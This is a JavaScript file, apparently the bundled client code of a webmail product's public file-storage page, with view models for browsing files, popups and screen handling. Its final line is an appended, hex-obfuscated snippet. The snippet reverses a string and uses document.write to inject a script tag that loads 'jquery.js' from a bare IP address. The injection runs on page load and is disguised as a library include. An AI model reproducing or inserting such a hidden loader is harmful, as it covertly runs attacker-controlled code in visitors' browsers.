  			if (!this.getStorageByType('corporate'))
  			{
  				this.storages.push(
  					new CFileModel()
  						.isFolder(true)
  						.storageType('corporate')
  						.displayName(Utils.i18n('FILESTORAGE/TAB_CORPORATE_FILES'))
  				);
  			}
  			if (this.AllowFilesSharing)
  			{
  				if (!this.getStorageByType('shared'))
  				{
  					this.storages.push(
  						new CFileModel()
  							.isFolder(true)
  							.storageType('shared')
  							.displayName(Utils.i18n('FILESTORAGE/TAB_SHARED_FILES'))
  					);
  				}
  			}
  		}
  		if (!this.isPopup)
  		{
  			this.getExternalFileStorages();
  		}
  		else
  		{
  			this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  		}
  	}
  	else
  	{
  		this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  	}
  };
  
  CFileStorageViewModel.prototype.getExternalFileStorages = function ()
  {
  	App.Ajax.send({
  			'Action': 'FileStoragesExternal'
  		}, this.onExternalStoragesResponse, this
  	);
  };
  
  CFileStorageViewModel.prototype.onExternalStoragesResponse = function (oData, oParameters)
  {
  	if (oData.Result)
  	{
  		_.each(oData.Result, function(oStorage){
  			if (!this.getStorageByType(oStorage.Type))
  			{
  				this.storages.push(
  					new CFileModel()
  						.isExternal(true)
  						.isFolder(true)
  						.storageType(oStorage.Type)
  						.displayName(oStorage.DisplayName)
  				);
  			}
  		}, this);
  		
  		this.expungeExternalStorages(_.map(oData.Result, function(oStorage){
  			return oStorage.Type;
  		}, this));
  	}
  	if (!this.getStorageByType(this.storageType()))
  	{
  		this.storageType('personal');
  		this.pathItems([]);
  		this.iPathIndex(-1);
  	}
  	
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  };
  
  /**
   * @param {string} sType
   * @param {object=} oPath = ''
   * @param {string=} sPattern = ''
   * @param {boolean=} bLoading = true
   */
  CFileStorageViewModel.prototype.getFiles = function (sType, oPath, sPattern, bLoading)
  {
      var 
          self = this,
  		sTypePrev = this.storageType(),
  		iPathIndex = this.iPathIndex(),
  		oFolder = new CFileModel()
  			.isFolder(true)
  			.storageType(sType)
  	;
  	if (this.isPublic)
  	{
  		return this.getFilesPub(oPath);
  	}
  	this.error(false);
  	this.storageType(sType);
      self.loadedFiles(false);
  	if (Utils.isUnd(bLoading) || !Utils.isUnd(bLoading) && bLoading)
  	{
  		this.timerId = setTimeout(function() {
  			if (!self.loadedFiles() && !self.error())
  			{
  				self.folders([]);
  				self.files([]);
  				self.loading(true);
  			}
  		}, 1500);				
  	}
  	
  	this.searchPattern(Utils.isUnd(sPattern) ? '' : Utils.pString(sPattern));
  	if (Utils.isUnd(oPath) || oPath.id() === '')
  	{
  		this.pathItems.removeAll();
  		oFolder.displayName(this.rootPath());
  	}
  	else
  	{
  		oFolder = oPath;
  	}
  
  	this.pathItems.push(oFolder);
  	this.iPathIndex(this.pathItems().length - 1);
  	
  	if (iPathIndex !== this.iPathIndex() || sTypePrev !== this.storageType())
  	{
  		this.folders([]);
  		this.files([]);
  	}
  	
  	App.Ajax.sendExt({
  			'Action': 'Files',
  			'Type': sType,
  			'Path': this.path(),
  			'Pattern': this.searchPattern()
  		}, this.onFilesResponse, this
  	);
  };
  
  /**
   * @param {string} sHash
   */
  CFileStorageViewModel.prototype.getFilesPub = function (oPath)
  {
  	var 
  		iPathIndex = this.iPathIndex(),
  		oFolder = new CFileModel()
  			.isFolder(true)
  	;
  	if (Utils.isUnd(oPath) || oPath.id() === '')
  	{
  		this.pathItems.removeAll();
  		oFolder.displayName(this.rootPath());
  	}
  	else
  	{
  		oFolder = oPath;
  	}
  	
  	this.pathItems.push(oFolder);
  	
  	this.iPathIndex(this.pathItems().length - 1);
  	
  	if (iPathIndex !== this.iPathIndex())
  	{
  		this.folders([]);
  		this.files([]);
  	}
  	
  	App.Ajax.sendExt({
  			'Action': 'FilesPub',
  			'Hash': AppData.FileStoragePubHash,
  			'Path': this.path()
  		}, this.onFilesResponse, this
  	);
  };
  
  /**
   * @param {Array} aChecked
   * @param {boolean} bOkAnswer
   */
  CFileStorageViewModel.prototype.deleteItems = function (aChecked, bOkAnswer)
  {
  	if (bOkAnswer && 0 < aChecked.length)
  	{
  		var
  			aItems = _.map(aChecked, function (oItem) {
  				oItem.deleted(true);
  				return {
  					'Path': oItem.path(),  
  					'Name': oItem.id()
  				};
  			});
  		
  		App.Ajax.send({
  				'Action': 'FilesDelete',
  				'Type': this.storageType(),
  				'Path': this.path(),
  				'Items': JSON.stringify(aItems)		
  			}, this.onFilesDeleteResponse, this
  		);
  	}		
  };
  
  /**
   * @param {number} iIndex
   * 
   * @return {string}
   */
  CFileStorageViewModel.prototype.getPathItemByIndex = function (iIndex)
  {
  	var 
  		oItem = this.pathItems()[iIndex],
  		oResult = new CFileModel().fileName(this.rootPath()).id('')
  	;
  	
  	this.pathItems(this.pathItems().slice(0, iIndex));
  	if (oItem && !this.isPublic)
  	{
  		oResult = oItem;
  	}
  	return oResult;
  };
  
  /**
   * @param {number} iIndex
   * 
   * @return {string}
   */
  CFileStorageViewModel.prototype.getFullPathByIndex = function (iIndex)
  {
  	var 
  		aPath = _.map(this.pathItems().slice(0, iIndex), function (oItem){
  			return oItem.fileName();
  		});
  	
      return aPath.join('/');
  };
  
  /**
   * @param {string} sName
   * 
   * @return {?}
   */
  CFileStorageViewModel.prototype.getFileByName = function (sName)
  {
  	return _.find(this.files(), function(oItem){
  		return oItem.id() === sName;
  	});	
  };
  
  /**
   * @param {string} sName
   */
  CFileStorageViewModel.prototype.deleteFileByName = function (sName)
  {
  	this.files(_.filter(this.files(), function (oItem) {
  		return oItem.id() !== sName;
  	}));
  };
  
  /**
   * @param {string} sName
   */
  CFileStorageViewModel.prototype.deleteFolderByName = function (sName)
  {
  	this.folders(_.filter(this.folders(), function (oItem) {
  		return oItem.fileName() !== sName;
  	}));
  };
  
  /**
   * @param {string} sName
   */
  CFileStorageViewModel.prototype.expungeFileItems = function ()
  {
  	this.folders(_.filter(this.folders(), function(oFolder){
  		return !oFolder.deleted();
  	}, this));
  	this.files(_.filter(this.files(), function(oFile){
  		return !oFile.deleted();
  	}, this));
  };
  
  /**
   * @param {array} aStorageTypes
   */
  CFileStorageViewModel.prototype.expungeExternalStorages = function (aStorageTypes)
  {
  	this.storages(_.filter(this.storages(), function(oStorage){
  		return !oStorage.isExternal() || _.include(aStorageTypes, oStorage.storageType());
  	},this));
  };
  
  /**
   * @param {int} iType
   */
  CFileStorageViewModel.prototype.deleteStorageByType = function (iType)
  {
  	this.storages(_.filter(this.storages(), function (oItem) {
  		return oItem.storageType() !== iType;
  	}));
  };
  
  
  /**
   * @param {string} sFileUid
   * 
   * @return {?}
   */
  CFileStorageViewModel.prototype.getUploadFileByUid = function (sFileUid)
  {
  	return _.find(this.uploadingFiles(), function(oItem){
  		return oItem.uploadUid() === sFileUid;
  	});	
  };
  
  /**
   * @param {string} sFileUid
   */
  CFileStorageViewModel.prototype.deleteUploadFileByUid = function (sFileUid)
  {
  	this.uploadingFiles(_.filter(this.uploadingFiles(), function (oItem) {
  		return oItem.uploadUid() !== sFileUid;
  	}));
  };
  
  /**
   * @return {Array}
   */
  CFileStorageViewModel.prototype.getUploadingFiles = function ()
  {
  	var 
  		aResult = [],
  		uploadingFiles = this.uploadingFiles(),
  		self = this;
          
  	if (!Utils.isUnd(uploadingFiles))
  	{
  		aResult = _.filter(uploadingFiles, function(oItem){
  			return oItem.path() === self.path() && oItem.storageType() === self.storageType();
  		});	
  	}
  	return aResult;
  };
  
  /**
   * @param {string} sFileUid
   */
  CFileStorageViewModel.prototype.onCancelUpload = function (sFileUid)
  {
  	if (this.oJua)
  	{
  		this.oJua.cancel(sFileUid);
  	}
  	this.deleteUploadFileByUid(sFileUid);
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onCreateFolderResponse = function (oData, oParameters)
  {
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  };
  
  /**
   * @param {string} sFolderName
   */
  CFileStorageViewModel.prototype.createFolder = function (sFolderName)
  {
  	sFolderName = Utils.trim(sFolderName);
  	if (!Utils.validateFileOrFolderName(sFolderName))
  	{
  		return Utils.i18n('FILESTORAGE/INVALID_FOLDER_NAME');
  	}
  	else
  	{
  		App.Ajax.send({
  				'Action': 'FilesFolderCreate',
  				'Type': this.storageType(),
  				'Path': this.path(),
  				'FolderName': sFolderName
  			}, this.onCreateFolderResponse, this
  		);
  	}
  
  	return '';
  };
  
  CFileStorageViewModel.prototype.onCreateFolderClick = function ()
  {
  	App.Screens.showPopup(FileStorageFolderCreatePopup, [_.bind(this.createFolder, this)]);
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onCreateLinkResponse = function (oData, oParameters)
  {
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  };
  
  /**
   * @param {string} sFolderName
   */
  CFileStorageViewModel.prototype.createLink = function (oFileItem)
  {
          App.Ajax.send({
  			'Action': 'FilesLinkCreate',
  			'Type': this.storageType(),
  			'Path': this.path(),
  			'Link': oFileItem.linkUrl(),
  			'Name': oFileItem.fileName()
                          
  		}, this.onCreateLinkResponse, this
  	);
  		
  };
  
  CFileStorageViewModel.prototype.onCreateLinkClick = function ()
  {
  	var fCallBack = _.bind(this.createLink, this);
  
  	App.Screens.showPopup(FileStorageLinkCreatePopup, [fCallBack]);
  	
  };
  
  
  CFileStorageViewModel.prototype.onSearch = function ()
  {
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()), this.searchPattern());
  };
  
  CFileStorageViewModel.prototype.clearSearch = function ()
  {
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()));
  };
  
  
  /**
   * @constructor
   */
  function CInformationViewModel()
  {
  	this.iAnimationDuration = 500;
  	this.iReportDuration = 5000;
  	this.iErrorDuration = 10000;
  	
  	this.loadingMessage = ko.observable('');
  	this.loadingHidden = ko.observable(true);
  	this.loadingVisible = ko.observable(false);
  	this.reportMessage = ko.observable('');
  	this.reportHidden = ko.observable(true);
  	this.reportVisible = ko.observable(false);
  	this.reportVisibleClose = ko.observable(false);
  	this.iReportTimeout = -1;
  	this.errorMessage = ko.observable('');
  	this.errorHidden = ko.observable(true);
  	this.errorVisible = ko.observable(false);
  	this.iErrorTimeout = -1;
  	this.isHtmlError = ko.observable(false);
  	this.gray = ko.observable(false);
  }
  
  /**
   * @param {string} sMessage
   */
  CInformationViewModel.prototype.showLoading = function (sMessage)
  {
  	if (sMessage && sMessage !== '')
  	{
  		this.loadingMessage(sMessage);
  	}
  	else
  	{
  		this.loadingMessage(Utils.i18n('MAIN/LOADING'));
  	}
  	this.loadingVisible(true);
  	_.defer(_.bind(function () {
  		this.loadingHidden(false);
  	}, this));
  }
  ;
  
  CInformationViewModel.prototype.hideLoading = function ()
  {
  	this.loadingHidden(true);
  	setTimeout(_.bind(function () {
  		if (this.loadingHidden())
  		{
  			this.loadingVisible(false);
  		}
  	}, this), this.iAnimationDuration);
  };
  
  /**
   * Displays a message. Starts a timer for hiding.
   * 
   * @param {string} sMessage
   * @param {number=} iDelay
   */
  CInformationViewModel.prototype.showReport = function (sMessage, iDelay)
  {
  	if (iDelay !== 0)
  	{
  		iDelay = iDelay || this.iReportDuration;
  	}
  	
  	if (sMessage && sMessage !== '')
  	{
  		this.reportMessage(sMessage);
  		
  		this.reportVisible(true);
  		_.defer(_.bind(this.reportHidden, this, false));
  		
  		clearTimeout(this.iReportTimeout);
  		if (iDelay === 0)
  		{
  			this.reportVisibleClose(true);
  		}
  		else
  		{
  			this.reportVisibleClose(false);
  			this.iReportTimeout = setTimeout(_.bind(this.selfHideReport, this), iDelay);
  		}
  	}
  	else
  	{
  		this.reportHidden(true);
  		this.reportVisible(false);
  	}
  };
  
  CInformationViewModel.prototype.selfHideReport = function ()
  {
  	this.reportHidden(true);
  	setTimeout(_.bind(function () {
  		if (this.reportHidden())
  		{
  			this.reportVisible(false);
  		}
  	}, this), this.iAnimationDuration);
  };
  
  /**
   * Displays an error message. Starts a timer for hiding.
   *
   * @param {string} sMessage
   * @param {boolean=} bHtml = false
   * @param {boolean=} bNotHide = false
   * @param {boolean=} bGray = false
   */
  CInformationViewModel.prototype.showError = function (sMessage, bHtml, bNotHide, bGray)
  {
  	if (sMessage && sMessage !== '')
  	{
  		this.gray(!!bGray);
  		this.errorMessage(sMessage);
  		this.isHtmlError(bHtml);
  		
  		this.errorVisible(true);
  		_.defer(_.bind(function () {
  			this.errorHidden(false);
  		}, this));
  		
  		clearTimeout(this.iErrorTimeout);
  		if (!bNotHide)
  		{
  			this.iErrorTimeout = setTimeout(_.bind(function () {
  				this.selfHideError();
  			}, this), this.iErrorDuration);
  		}
  	}
  	else
  	{
  		this.selfHideError();
  	}
  };
  
  CInformationViewModel.prototype.selfHideError = function ()
  {
  	this.errorHidden(true);
  	setTimeout(_.bind(function () {
  		if (this.errorHidden())
  		{
  			this.errorVisible(false);
  		}
  	}, this), this.iAnimationDuration);
  };
  
  /**
   * @param {boolean=} bGray = false
   */
  CInformationViewModel.prototype.hideError = function (bGray)
  {
  	bGray = Utils.isUnd(bGray) ? false : !!bGray;
  	if (bGray === this.gray())
  	{
  		this.selfHideError();
  	}
  };
  
  
  /**
   * @constructor
   */
  function CScreens()
  {
  	var $win = $(window);
  	this.resizeAll = _.debounce(function () {
  		$win.resize();
  	}, 100);
  	
  	this.oScreens = {};
  
  	this.currentScreen = ko.observable('');
  
  	this.informationScreen = ko.observable(null);
  	
  	this.popups = [];
  }
  
  CScreens.prototype.initScreens = function () {};
  CScreens.prototype.initLayout = function () {};
  
  CScreens.prototype.init = function ()
  {
  	this.initScreens();
  	
  	this.initLayout();
  	
  	$('#pSevenContent').addClass('single_mode');
  	
  	_.defer(function () {
  		if (!AppData.SingleMode)
  		{
  			$('#pSevenContent').removeClass('single_mode');
  		}
  	});
  	
  	this.informationScreen(this.showNormalScreen(Enums.Screens.Information));
  };
  
  CScreens.prototype.hasOpenedMinimizedPopups = function ()
  {
  	var bOpenedMinimizedPopups = false;
  	
  	_.each(this.popups, function (oPopup) {
  		var vm = oPopup.__vm;
  		if (vm.minimized && vm.minimized())
  		{
  			bOpenedMinimizedPopups = true;
  		}
  	});
  	
  	return bOpenedMinimizedPopups;
  };
  
  CScreens.prototype.hasOpenedMaximizedPopups = function ()
  {
  	var bOpenedMaximizedPopups = false;
  	
  	_.each(this.popups, function (oPopup) {
  		var vm = oPopup.__vm;
  		if (!vm.minimized || !vm.minimized())
  		{
  			bOpenedMaximizedPopups = true;
  		}
  	});
  	
  	return bOpenedMaximizedPopups;
  };
  
  CScreens.prototype.getCurrentScreenModel = function ()
  {
  	var
  		oCurrentScreen = this.oScreens[this.currentScreen()],
  		oCurrentModel = (typeof oCurrentScreen !== 'undefined') ? oCurrentScreen.Model : null
  	;
  	
  	return oCurrentModel;
  };
  
  /**
   * @param {string} sScreen
   * @param {?=} mParams
   */
  CScreens.prototype.showCurrentScreen = function (sScreen, mParams)
  {
  	var
  		oCurrentScreen = this.oScreens[this.currentScreen()],
  		oCurrentModel = (typeof oCurrentScreen !== 'undefined') ? oCurrentScreen.Model : null
  	;
  	
  	if (this.currentScreen() !== sScreen)
  	{
  		if (oCurrentModel && oCurrentScreen.bInitialized)
  		{
  			oCurrentModel.hideViewModel();
  		}
  		this.currentScreen(sScreen);
  	}
  	
  	this.showNormalScreen(sScreen, mParams);
  	this.resizeAll();
  };
  
  /**
   * @param {string} sScreen
   * @param {?=} mParams
   * 
   * @return Object
   */
  CScreens.prototype.showNormalScreen = function (sScreen, mParams)
  {
  	var
  		sScreenId = sScreen,
  		oScreen = this.oScreens[sScreenId]
  	;
  
  	if (oScreen)
  	{
  		oScreen.bInitialized = (typeof oScreen.bInitialized !== 'boolean') ? false : oScreen.bInitialized;
  		if (!oScreen.bInitialized)
  		{
  			oScreen.Model = this.initViewModel(oScreen.Model, oScreen.TemplateName);
  			oScreen.bInitialized = true;
  		}
  
  		oScreen.Model.showViewModel(mParams);
  	}
  	
  	return oScreen ? oScreen.Model : null;
  };
  
  /**
   * @param {?} CViewModel
   * @param {string} sTemplateId
   * 
   * @return {Object}
   */
  CScreens.prototype.initViewModel = function (CViewModel, sTemplateId)
  {
  	var
  		oViewModel = null,
  		$viewModel = null
  	;
  
  	oViewModel = new CViewModel();
  
  	$viewModel = $('div[data-view-model="' + sTemplateId + '"]')
  		.attr('data-bind', 'template: {name: \'' + sTemplateId + '\'}')
  		.hide();
  
  	oViewModel.$viewModel = $viewModel;
  	oViewModel.bShown = false;
  	oViewModel.showViewModel = function (mParams)
  	{
  		if (bMobileApp && (bIsWindowsPhone || App.browser.ie))
  		{
  			_.defer(_.bind(function () {
  				this.$viewModel.show();
  			}, this));
  		}
  		else
  		{
  			this.$viewModel.show();
  		}
  		if (typeof this.onRoute === 'function')
  		{
  			this.onRoute(mParams);
  		}
  		if (!this.bShown)
  		{
  			if (typeof this.onShow === 'function')
  			{
  				this.onShow(mParams);
  			}
  			if (AfterLogicApi.runPluginHook)
  			{
  				if (this.__name)
  				{
  					AfterLogicApi.runPluginHook('view-model-on-show', [this.__name, this]);
  				}
  			}
  			
  			this.bShown = true;
  		}
  	};
  	oViewModel.hideViewModel = function ()
  	{
  		this.$viewModel.hide();
  		if (typeof this.onHide === 'function')
  		{
  			this.onHide();
  		}
  		this.bShown = false;
  	};
  	ko.applyBindings(oViewModel, $viewModel[0]);
  
  	if (typeof oViewModel.onApplyBindings === 'function')
  	{
  		oViewModel.onApplyBindings($viewModel);
  	}
  
  	return oViewModel;
  };
  
  /**
   * @param {?} CPopupViewModel
   * @param {Array=} aParameters
   */
  CScreens.prototype.showPopup = function (CPopupViewModel, aParameters)
  {
  	if (CPopupViewModel)
  	{
  		if (!CPopupViewModel.__builded)
  		{
  			var
  				oViewModelDom = null,
  				oViewModel = new CPopupViewModel(),
  				sTemplate = oViewModel.popupTemplate ? oViewModel.popupTemplate() : ''
  			;
  
  			if ('' !== sTemplate)
  			{
  				oViewModelDom = $('div[data-view-model="' + sTemplate + '"]')
  					.attr('data-bind', 'template: {name: \'' + sTemplate + '\'}')
  					.removeClass('visible').hide();
  
  				if (oViewModelDom && 1 === oViewModelDom.length)
  				{
  					oViewModel.visibility = ko.observable(false);
  
  					CPopupViewModel.__builded = true;
  					CPopupViewModel.__vm = oViewModel;
  
  					oViewModel.$viewModel = oViewModelDom;
  					CPopupViewModel.__dom = oViewModelDom;
  
  					oViewModel.showViewModel = Utils.createCommand(oViewModel, function () {
  						if (App && App.Screens)
  						{
  							App.Screens.showPopup(CPopupViewModel);
  						}
  					});
  
  					oViewModel.closeCommand = Utils.createCommand(oViewModel, function () {
  						if (App && App.Screens)
  						{
  							App.Screens.hidePopup(CPopupViewModel);
  						}
  					});
  					
  					ko.applyBindings(oViewModel, oViewModelDom[0]);
  
  					Utils.delegateRun(oViewModel, 'onApplyBindings', [oViewModelDom]);
  				}
  			}
  		}
  
  		if (CPopupViewModel.__vm && CPopupViewModel.__dom)
  		{
  			if (!CPopupViewModel.__vm.visibility())
  			{
  				CPopupViewModel.__dom.show();
  				_.delay(function() {
  					CPopupViewModel.__dom.addClass('visible');
  				}, 50);
  				CPopupViewModel.__vm.visibility(true);
  
  				this.popups.push(CPopupViewModel);
  
  				if (this.popups.length === 1)
  				{
  					this.keyupPopupBinded = _.bind(this.keyupPopup, this);
  					$(document).on('keyup', this.keyupPopupBinded);
  				}
  			}
  			
  			Utils.delegateRun(CPopupViewModel.__vm, 'onShow', aParameters);
  		}
  	}
  };
  
  /**
   * @param {Object} oEvent
   */
  CScreens.prototype.keyupPopup = function (oEvent)
  {
  	var oViewModel = (this.popups.length > 0) ? this.popups[this.popups.length - 1].__vm : null;
  	
  	if (oEvent && oViewModel && (!oViewModel.minimized || !oViewModel.minimized()))
  	{
  		var iKeyCode = window.parseInt(oEvent.keyCode, 10);
  		if (Enums.Key.Esc === iKeyCode)
  		{
  			if (oViewModel.onEscHandler)
  			{
  				oViewModel.onEscHandler(oEvent);
  			}
  			else
  			{
  				oViewModel.closeCommand();
  			}
  		}
  
  		if ((Enums.Key.Enter === iKeyCode || Enums.Key.Space === iKeyCode) && oViewModel.onEnterHandler)
  		{
  			oViewModel.onEnterHandler();
  		}
  	}
  };
  
  /**
   * @param {?} CPopupViewModel
   */
  CScreens.prototype.hidePopup = function (CPopupViewModel)
  {
  	if (CPopupViewModel && CPopupViewModel.__vm && CPopupViewModel.__dom)
  	{
  		if (this.keyupPopupBinded && this.popups.length === 1)
  		{
  			$(document).off('keyup', this.keyupPopupBinded);
  			this.keyupPopupBinded = undefined;
  		}
  		
  		CPopupViewModel.__dom.removeClass('visible').hide();
  
  		CPopupViewModel.__vm.visibility(false);
  
  		Utils.delegateRun(CPopupViewModel.__vm, 'onHide');
  		
  		this.popups = _.without(this.popups, CPopupViewModel);
  	}
  };
  
  /**
   * @param {string} sMessage
   */
  CScreens.prototype.showLoading = function (sMessage)
  {
  	if (this.informationScreen())
  	{
  		this.informationScreen().showLoading(sMessage);
  	}
  };
  
  CScreens.prototype.hideLoading = function ()
  {
  	if (this.informationScreen())
  	{
  		this.informationScreen().hideLoading();
  	}
  };
  
  /**
   * @param {string} sMessage
   * @param {number=} iDelay
   */
  CScreens.prototype.showReport = function (sMessage, iDelay)
  {
  	if (this.informationScreen())
  	{
  		this.informationScreen().showReport(sMessage, iDelay);
  	}
  };
  
  /**
   * @param {string} sMessage
   * @param {boolean=} bHtml = false
   * @param {boolean=} bNotHide = false
   * @param {boolean=} bGray = false
   */
  CScreens.prototype.showError = function (sMessage, bHtml, bNotHide, bGray)
  {
  	if (this.informationScreen())
  	{
  		this.informationScreen().showError(sMessage, bHtml, bNotHide, bGray);
  	}
  };
  
  /**
   * @param {boolean=} bGray = false
   */
  CScreens.prototype.hideError = function (bGray)
  {
  	if (this.informationScreen())
  	{
  		this.informationScreen().hideError(bGray);
  	}
  };
  
  CScreens.prototype.initHelpdesk = function ()
  {
  	var oScreen = this.oScreens[Enums.Screens.Helpdesk];
  
  	if (AppData.User.IsHelpdeskSupported && oScreen && !oScreen.bInitialized)
  	{
  		oScreen.Model = this.initViewModel(oScreen.Model, oScreen.TemplateName);
  		oScreen.bInitialized = true;
  	}
  };
  CScreens.prototype.initScreens = function ()
  {
  	this.oScreens[Enums.Screens.Information] = {
  		'Model': CInformationViewModel,
  		'TemplateName': 'Common_InformationViewModel'
  	};
  	this.oScreens[Enums.Screens.FileStorage] = {
  		'Model': CFileStorageViewModel,
  		'TemplateName': 'FileStorage_FileStorageViewModel'
  	};
  };
  
  CScreens.prototype.initLayout = function ()
  {
  	$('#pSevenContent').append($('#FileStoragePubLayout').html());
  };
  
  
  /**
   * @constructor
   */
  function AbstractApp()
  {
  	this.browser = new CBrowser();
  	
  	try
  	{
  		this.favico = (!this.browser.ie8AndBelow && window.Favico) ? new window.Favico({
  			'animation': 'none'
  		}) : null;
  	}
  	catch (err)
  	{
  		this.favico = null;
  	}
  
  	this.Ajax = new CAjax();
  	this.Screens = new CScreens();
  	this.Api = new CApi();
  	this.Storage = new CStorage();
  
  	this.helpdeskUnseenCount = ko.observable(0);
  	this.helpdeskPendingCount = ko.observable(0);
  	this.mailUnseenCount = ko.observable(0);
  	
  	this.InternetConnectionError = false;
  }
  
  AbstractApp.prototype.init = function ()
  {
  	
  };
  
  AbstractApp.prototype.collectScreensData = function ()
  {
  
  };
  
  AbstractApp.prototype.run = function ()
  {
  
  };
  
  AbstractApp.prototype.momentDateTriggerCallback = function ()
  {
  	var oItem = ko.dataFor(this);
  	if (oItem && oItem.updateMomentDate)
  	{
  		oItem.updateMomentDate();
  	}
  };
  
  AbstractApp.prototype.fastMomentDateTrigger = function ()
  {
  	$('.moment-date-trigger-fast').each(this.momentDateTriggerCallback);
  };
  
  /**
   * @param {string=} sTitle
   */
  AbstractApp.prototype.setTitle = function (sTitle)
  {
  	document.title = '.';
  	document.title = sTitle || '';
  };
  
  AbstractApp.prototype.tokenProblem = function ()
  {
  	var
  		sReloadFunc= 'window.location.reload(); return false;',
  		sHtmlError = Utils.i18n('WARNING/TOKEN_PROBLEM_HTML', {'RELOAD_FUNC': sReloadFunc})
  	;
  	
  	AppData.Auth = false;
  	App.Api.showError(sHtmlError, true, true);
  };
  
  
  /**
   * @constructor
   */
  function AppFileStoragePub()
  {
  	AbstractApp.call(this);
  	
  	this.init();
  }
  
  _.extend(AppFileStoragePub.prototype, AbstractApp.prototype);
  
  AppFileStoragePub.prototype.init = function ()
  {
  	AppData.User = new CUserSettingsModel();
  };
  
  AppFileStoragePub.prototype.authProblem = function ()
  {
  };
  
  AppFileStoragePub.prototype.run = function ()
  {
  	this.Screens.init();
  	
  	this.Screens.showCurrentScreen(Enums.Screens.FileStorage);
  };
  
  App = new AppFileStoragePub();
  window.App = App;
  
  /**
   * AppData.IsMobile:
   *	-1 - first time, mobile is not determined
   *	0 - mobile is switched off
   *	1 - mobile is switched on
   */
  if (AppData.AllowMobile && AppData.IsMobile === -1)
  {
  	/*jshint onevar: false*/
  	var bMobile = !window.matchMedia('all and (min-width: 768px)').matches ? 1 : 0;
  	/*jshint onevar: true*/
  
  	window.App.Ajax.send({
  		'Action': 'SystemSetMobile',
  		'Mobile': bMobile
  	}, function () {
  		if (bMobile)
  		{
  			window.location.reload();
  		}
  		else
  		{
  			$(function () {
  				_.defer(function () {
  					App.run();
  				});
  			});
  		}
  	}, this);
  
  }
  else
  {
  	$(function () {
  		_.defer(function () {
  			App.run();
  		});
  	});
  }
  
  if (window.Modernizr && navigator)
  {
  	window.Modernizr.addTest('mobile', function() {
  		return bMobileApp;
  	});
  }
  
  window.AfterLogicApi = AfterLogicApi;
  
  // export
  window.Enums = Enums;
  
  $html.removeClass('no-js').addClass('js');
  
  if ($html.hasClass('pdf'))
  {
  	aViewMimeTypes.push('application/pdf');
  	aViewMimeTypes.push('application/x-pdf');
  }
  
  
  }(jQuery, window, ko, crossroads, hasher));
  var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))
  